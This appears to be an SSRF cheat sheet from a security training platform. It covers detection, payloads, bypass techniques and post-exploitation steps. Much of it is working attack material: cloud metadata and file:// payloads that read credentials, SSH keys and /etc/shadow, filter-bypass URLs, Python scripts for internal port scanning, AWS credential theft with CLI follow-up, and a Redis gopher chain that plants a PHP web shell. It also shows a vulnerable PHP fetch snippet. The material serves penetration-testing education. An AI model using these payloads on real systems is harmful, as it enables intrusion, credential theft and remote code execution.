Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. This can lead to unauthorized actions, access to internal systems, or data exfiltration.

How It Works

SSRF occurs when a web application fetches a remote resource without validating the user-supplied URL. For example:

<?php
$url = $_GET['url'];
$data = file_get_contents($url);
echo $data;
?>

An attacker could exploit this:

https://vulnerable-site.com/fetch?url=http://localhost/admin
https://vulnerable-site.com/fetch?url=http://169.254.169.254/latest/meta-data/

The server makes requests on behalf of the attacker, potentially accessing internal resources or cloud metadata.

Detection

Manual Testing

URL Parameter Tests

Testing parameters that accept URLs:

# Step 1: Identify URL parameters
https://site.com/fetch?url=https://example.com
https://site.com/proxy?target=https://example.com
https://site.com/image?src=https://example.com/image.jpg
https://site.com/api/webhook?callback=https://example.com/hook

# Step 2: Test with controlled server
# Setup listener on your server
python3 -m http.server 8000

# Test if server makes request
https://site.com/fetch?url=http://your-server.com:8000/test

# Step 3: Check your server logs
# If you see incoming request, SSRF exists

# Step 4: Test internal access
https://site.com/fetch?url=http://localhost/
https://site.com/fetch?url=http://127.0.0.1/
https://site.com/fetch?url=http://0.0.0.0/

Internal Network Tests

Testing access to internal resources:

# Localhost variations
http://localhost/
http://127.0.0.1/
http://0.0.0.0/
http://[::1]/
http://127.1/
http://2130706433/ # Decimal IP for 127.0.0.1

# Internal IP ranges
http://192.168.0.1/
http://192.168.1.1/
http://10.0.0.1/
http://172.16.0.1/

# Internal ports scanning
http://127.0.0.1:22/ # SSH
http://127.0.0.1:3306/ # MySQL
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:8080/ # Common web port
http://127.0.0.1:9200/ # Elasticsearch

Cloud Metadata Tests

Testing access to cloud provider metadata:

# AWS Metadata
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/

# Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token

# Google Cloud Metadata
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata/computeMetadata/v1/

# Digital Ocean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/user-data

# Oracle Cloud
http://169.254.169.254/opc/v1/instance/

Protocol Testing

Testing different protocols:

# File protocol
file:///etc/passwd
file:///c:/windows/win.ini
file://\/\/etc/passwd

# Dict protocol (Redis/Memcached interaction)
dict://127.0.0.1:6379/info
dict://127.0.0.1:11211/stats

# Gopher protocol (Raw TCP)
gopher://127.0.0.1:6379/_INFO
gopher://127.0.0.1:3306/

# LDAP protocol
ldap://127.0.0.1:389/
ldap://localhost:389/%0astats%0aquit

# FTP protocol
ftp://127.0.0.1/
ftp://user:pass@internal-ftp/file.txt

Port Scanning Tests

Using SSRF for internal port scanning:

# Basic port scan
http://127.0.0.1:22 # SSH
http://127.0.0.1:80 # HTTP
http://127.0.0.1:443 # HTTPS
http://127.0.0.1:3306 # MySQL
http://127.0.0.1:5432 # PostgreSQL
http://127.0.0.1:6379 # Redis
http://127.0.0.1:8080 # Alt HTTP
http://127.0.0.1:9200 # Elasticsearch

# Response time analysis
# Open ports may respond differently than closed ports
# Longer timeout might indicate filtered port
# Quick response might indicate closed port

Blind SSRF Tests

Testing when no direct response is visible:

# Time-based detection
# Try accessing slow endpoints
http://example.com/large-file.zip
# If page loads slower, SSRF might exist

# DNS-based detection
# Use services like Burp Collaborator or interact.sh
http://unique-identifier.burpcollaborator.net
http://unique-identifier.interact.sh

# Check for DNS lookups in your logs
# If DNS query appears, blind SSRF confirmed

# Out-of-band HTTP
http://unique-identifier.burpcollaborator.net/callback
# Monitor for HTTP requests

Automated Discovery

Using Burp Suite

# Step 1: Identify potential SSRF parameters
# Look for parameters containing:
# - url, uri, path, dest, destination
# - redirect, target, link, nav
# - callback, webhook, fetch

# Step 2: Use Burp Collaborator
# Replace parameter value with Collaborator URL
url=http://BURP-COLLABORATOR-SUBDOMAIN

# Step 3: Check Collaborator for interactions
# DNS queries or HTTP requests indicate SSRF

# Step 4: Use Burp Intruder for port scanning
# Set payload position: http://127.0.0.1:§8080§
# Payload: Numbers 1-65535
# Analyze response times and lengths

Using SSRFmap

# Basic SSRF exploitation
python3 ssrfmap.py -r request.txt -p url -m readfiles

# AWS metadata extraction
python3 ssrfmap.py -r request.txt -p url -m aws

# Port scanning through SSRF
python3 ssrfmap.py -r request.txt -p url -m portscan

# Redis exploitation
python3 ssrfmap.py -r request.txt -p url -m redis

Using Nuclei

# Run SSRF templates
nuclei -u https://target.com -t ssrf/

# Specific SSRF checks
nuclei -u https://target.com -t ssrf/ssrf-parameter.yaml

# Cloud metadata checks
nuclei -u https://target.com -t ssrf/aws-metadata.yaml

Attack Vectors

Local File Access

Reading local files through SSRF:

# Basic file reading
file:///etc/passwd
file:///etc/hosts
file:///etc/shadow
file:///proc/self/environ
file:///proc/self/cmdline

# Windows files
file:///c:/windows/win.ini
file:///c:/windows/system32/drivers/etc/hosts
file:///c:/boot.ini

# Application files
file:///var/www/html/config.php
file:///var/www/.env
file:///home/user/.ssh/id_rsa

Cloud Metadata Exploitation

Extracting cloud credentials and configuration:

# AWS IAM Credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Follow with role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]

# AWS User Data (may contain secrets)
http://169.254.169.254/latest/user-data

# AWS Instance Identity
http://169.254.169.254/latest/dynamic/instance-identity/document

# Azure Access Token
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# Google Cloud Service Account Token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires header: Metadata-Flavor: Google

# Google Cloud SSH Keys
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys

Internal Network Scanning

Scanning internal networks through SSRF:

# Python script for automated scanning
import requests

target = "https://vulnerable-site.com/fetch?url="
internal_ips = [
"192.168.1.{}".format(i) for i in range(1, 255)
]
ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200]

for ip in internal_ips:
for port in ports:
url = f"{target}http://{ip}:{port}/"
try:
response = requests.get(url, timeout=2)
if response.status_code != 500: # Not timeout error
print(f"[+] Found: {ip}:{port}")
except:
continue

Service Exploitation

Exploiting internal services through SSRF:

# Redis exploitation via Gopher
# Generate Redis command payload
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20shell.php
gopher://127.0.0.1:6379/_SET%20shell%20"<?php%20system($_GET['cmd']);%20?>"
gopher://127.0.0.1:6379/_SAVE

# Memcached exploitation
gopher://127.0.0.1:11211/_stats
gopher://127.0.0.1:11211/_get%20admin_password

# MySQL exploitation (requires multi-line Gopher)
gopher://127.0.0.1:3306/_[MYSQL_PROTOCOL_PAYLOAD]

# SMTP exploitation (send email)
gopher://127.0.0.1:25/_HELO%20attacker
gopher://127.0.0.1:25/_MAIL%20FROM:attacker@evil.com
gopher://127.0.0.1:25/_RCPT%20TO:victim@target.com
gopher://127.0.0.1:25/_DATA
gopher://127.0.0.1:25/_Subject:%20SSRF%20Test

XXE to SSRF Chain

Combining XXE with SSRF:

# Upload XML file with external entity
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>
<data>&xxe;</data>
</root>

# SVG file with SSRF
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
<image href="http://169.254.169.254/latest/meta-data/" />
</svg>

Bypass Techniques

Blacklist Bypass

Bypassing IP blacklists:

# Localhost alternatives
http://127.0.0.1/
http://127.1/
http://0.0.0.0/
http://[::1]/
http://localhost/
http://127.00.00.01/
http://127.0.1/
http://2130706433/ # Decimal IP
http://0x7f.0x0.0x0.0x1/ # Hex IP
http://0177.0000.0000.0001/ # Octal IP

# DNS rebinding
# Point domain to allowed IP first
# Then change DNS to point to internal IP
http://attacker-domain.com/

# Using redirect
# Host open redirect on allowed domain
http://allowed.com/redirect?url=http://169.254.169.254/

# Using @
http://allowed.com@127.0.0.1/
http://allowed.com#@127.0.0.1/

# URL encoding
http://127.0.0.1/ → http://%31%32%37%2e%30%2e%30%2e%31/
http://localhost/ → http://%6c%6f%63%61%6c%68%6f%73%74/

Protocol Bypass

Using alternative protocols:

# When http:// is blocked
https://127.0.0.1/
ftp://127.0.0.1/
file:///etc/passwd
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_INFO
ldap://127.0.0.1:389/
tftp://127.0.0.1:69/

# Protocol case variation
HTTP://127.0.0.1/
hTTp://127.0.0.1/
HtTp://127.0.0.1/

# Missing protocol
//127.0.0.1/
//localhost/

Domain Bypass

Bypassing domain restrictions:

# Using subdomains
http://127.0.0.1.allowed-domain.com/
http://allowed-domain.com.127.0.0.1.nip.io/

# Using TLD confusion
http://127.0.0.1.com/
http://localhost.com/

# Unicode/IDN bypass
http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ/
http://127.0.0.① / # Unicode digit

# DNS services
http://127.0.0.1.nip.io/
http://127.0.0.1.xip.io/
http://127.0.0.1.sslip.io/

Port Bypass

Accessing restricted ports:

# Port in username
http://127.0.0.1:80@allowed.com/
http://127.0.0.1:3306@allowed.com/

# Fragment with port
http://allowed.com#@127.0.0.1:22/

# Multiple ports (some parsers use first, some use last)
http://127.0.0.1:80:8080/
http://127.0.0.1::8080/

URL Parser Confusion

Exploiting URL parsing differences:

# Different components parsed differently
http://foo@evil.com:80@127.0.0.1/
# Some parsers see: evil.com:80
# Others see: 127.0.0.1

# Using backslash (Windows-style)
http://allowed.com\@127.0.0.1/

# Mixed separators
http://allowed.com#@127.0.0.1/
http://allowed.com?@127.0.0.1/

# Whitespace injection
http://allowed.com %0A@127.0.0.1/
http://allowed.com%09@127.0.0.1/
http://allowed.com%0D@127.0.0.1/

Open Redirect Chain

Chaining SSRF with open redirects:

# If allowed-domain.com has open redirect
http://allowed-domain.com/redirect?url=http://169.254.169.254/

# Using redirect to bypass filters
# 1. Create redirect on your server
# 2. Point SSRF to your redirect
http://your-server.com/redirect-to-metadata

# 3. Your server redirects to metadata
Location: http://169.254.169.254/latest/meta-data/

DNS Rebinding

Time-based DNS rebinding attack:

# Step 1: Setup DNS server with short TTL
# Initially resolve to allowed IP: 203.0.113.1
# After validation, change to: 127.0.0.1

# Step 2: Trigger SSRF
http://rebind.attacker.com/

# Step 3: App validates domain -> allowed
# Step 4: DNS TTL expires
# Step 5: App makes actual request -> now points to 127.0.0.1

# Tools: singularity, DNSrebinder

IPv6 Bypass

Using IPv6 addresses:

# IPv6 localhost
http://[::1]/
http://[0:0:0:0:0:0:0:1]/
http://[0000:0000:0000:0000:0000:0000:0000:0001]/

# IPv6 compressed
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6

# Link-local addresses
http://[fe80::1]/
http://[fe80::]/

Post-Exploitation

AWS Metadata Exploitation

Complete AWS credential extraction:

# Step 1: List available roles
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Step 2: Extract role credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]

# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "..."
}

# Step 3: Use credentials with AWS CLI
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

aws s3 ls
aws ec2 describe-instances
aws iam get-user

Internal Service Mapping

Mapping internal infrastructure:

# Port scanning script
import requests
import concurrent.futures

def check_port(ip, port):
url = f"https://vulnerable.com/fetch?url=http://{ip}:{port}/"
try:
r = requests.get(url, timeout=3)
if "Connection refused" not in r.text:
return f"{ip}:{port} - OPEN"
except:
pass
return None

ips = ["192.168.1.{}".format(i) for i in range(1, 255)]
ports = [21, 22, 23, 25, 80, 443, 3306, 3389, 5432, 6379, 8080, 9200]

with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = []
for ip in ips:
for port in ports:
futures.append(executor.submit(check_port, ip, port))

for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
print(result)

Data Exfiltration

Exfiltrating data through SSRF:

# Reading application config
file:///var/www/html/config.php
file:///var/www/.env
file:///etc/nginx/nginx.conf

# Reading AWS credentials from disk
file:///home/ubuntu/.aws/credentials
file:///root/.aws/credentials

# Proc filesystem
file:///proc/self/environ # Environment variables
file:///proc/self/cmdline # Command line
file:///proc/self/cwd/config.php # Current working directory files

Gopher Protocol Exploitation

Advanced service exploitation:

# Redis shell writing via Gopher
# URL encode the following:
gopher://127.0.0.1:6379/_
*3
$3
SET
$5
shell
$30
<?php system($_GET['cmd']); ?>

*4
$6
CONFIG
$3
SET
$3
dir
$13
/var/www/html

*4
$6
CONFIG
$3
SET
$10
dbfilename
$9
shell.php

*1
$4
SAVE

# URL encoded version goes in SSRF parameter

Common Tools

ToolDescriptionPrimary Use Case
SSRFmapSSRF exploitation toolAutomated SSRF exploitation
GopherusGopher payload generatorService exploitation via SSRF
Burp CollaboratorOut-of-band testingBlind SSRF detection
interact.shDNS/HTTP loggerBlind SSRF verification
NucleiVulnerability scannerSSRF detection
SSRFireSSRF exploitation frameworkAdvanced SSRF testing